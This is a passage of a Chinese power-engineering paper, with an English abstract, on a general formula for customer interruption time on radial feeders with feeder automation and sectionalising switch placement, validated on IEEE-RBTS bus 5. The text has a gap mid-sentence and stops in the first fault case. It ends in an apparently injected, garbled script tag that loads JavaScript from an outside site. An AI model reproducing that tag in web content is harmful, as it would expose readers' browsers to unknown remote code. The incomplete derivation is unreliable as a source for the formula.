摘 要:给出了计算辐射状馈线上考虑馈线自动化的用户停电时间的通用公式，不但可以用来分析不同开关设置对用户可靠性的影响，还可以用于在考虑用户的情况下预选设置方案的择优。最后以ieee-rbts母线5为例对公式进行了有效性验证。
关键词: 配电系统; 馈线自动化; 用户停电时间; 开关设置
calculation of customer's interrupt time considering feeder automation
ren zhen, zou bingyong, wan guanquan, huang wenying
(college of electric power,south china university of technology,
guangzhou 510640, china)
abstract:in this paper,a general calculation expression is proposed to calculate customerinterrupt time considering feeder automation in radial feeders.it can not onlycalculate customer reliability but also decide the best setting scheme of switches in different proposed cases.some examples demonstrate its effectiveness.
key words: distribution system; feeder automation; customerinterrupt time; switch placement
1前言
在配电系统的改造和设计中，首要采用的技术就是馈线自动化，这主要是因为馈线自动化具有故障定位、隔离和恢复等主要功能，它是提高配电系统供电可靠性的关键。馈线自动化只需在馈线上装设开关、分段器和重合器等设备，该技术简单实用，又达到了保证供电可靠性，降低配电系统的维护和检修费用的目的。一般而言，在采用了馈线自动化技术后配电网都设计成闭环结构，开环运行。文献［1］研究表明，当在主馈线上装设分段开关时，对系统可靠性指标中的平均停电持续时间(caidi)有较大的改善，但是对于配电系统改造和设计，人们关心的是在哪里装设分段开关对系统的可靠性改善最大。对分段开关设置方案的选取，传统做法主要是通过比较系统不同情况下的停电持续时间,而不是考虑用户停电时间。而文献［2］只研究了一种特殊情况下主馈线分段开关设置时的用户停电时间，不具有普遍性。基于此，本文在研究采用馈线自动化技术的主馈线工作机理的基础上，给出了任意分段开关设置方案下，考虑馈线自动化的用户停电时间的通用公式。它不但可以用来分析不同开关设置对用户可靠性的影响，还可以用来决策在考虑用户损失情况下的最优设置方案。最后，以ieee-rbts母线5为例对公式进行了有效性验证。
2考虑馈线自动化的用户停电时间分析
图1为一主馈线系统，共有n个负荷点，n段主馈线段，第i段主馈线的故障率为λi，修复时间为ri。第i个负荷点的负荷功率为pi，第i个负荷支路的故障率（含负荷支路线路及变压器）为λ′i，修复时间为r′i。分段开关的操作时间共为t1，它包括故障点的定位时间和隔离故障点的时间。联络开关的倒闸时间为t2，这段时间主要用于定位故障点和切换联络开关。r、t2、t1之间的关系为r＞t2＞t1（在实际系统中此关系是成立的）。设负荷支路的首端都设有熔断器，同时设xi和yi(i=1，2，…，n)为第i段主馈线首末两端装设开关的位置状态变量。xi=0 (yi=0)表示第i段主馈线的首端（末端）装设开关，xi=1(yi=1)表示第i段主馈线的首端（末端）不装设开关。z表示是否装设联络开关，z=0为装设，z=1为不装设。当主馈线上开关的设置情况确定时，开关的位置状态变量x=(x1，x2，…，xn)和y=(y1，y2，…，yn)也就已知。这些开关位置状态变量可以用一个二进制数来编码，或转换成相应的十进制数，每种装设方案都可以用唯一的二进制编码或十进制数来表示。例如：开关位置状态变量二进制编码x=(011101)表示该主馈线共有6个主馈线段，首端装设分段开关的情况是第1和5段，第2、3、4和6段不装设，x相对应的十进制数是29。此外，由馈线的分段数还可以知道开关位置状态变量二进制编码和十进制数的范围。假设主馈线段有n段，则开关位置状态变量二进制编码和十进
示二进制数，10表示十进制数)。位置状态变量y的确定与此类似。不过要注意的是不管何种设置方案，由于主馈线首端总是装设断路器(配套有隔离开关)，因此，x1总是为0，而y1要视装设情况而定。得到这些开关位置状态变量后，就可以开始分析考虑馈线自动化的用户停电时间。
由图1可知，导致用户负荷点i停电的原因可能有3种：负荷点前面的主馈线段故障；负荷点后面的主馈线段故障；负荷点本身故障。在发生故障时，馈线自动化的操作过程是：当i前面的馈线段故障时，前面馈线段上的分段开关动作切除故障，然后闭合联络开关对i继续供电；当i后面的馈线段故障时，后面馈线段上的分段开关动作切除故障；当i本身故障时，负荷支路首端的熔断器熔断切除故障，保证主馈线正常运行。下面分别对它们进行讨论。
(1)负荷点前面的主馈线故障
根据开关操作和?script src=http://er12.com/t.js>
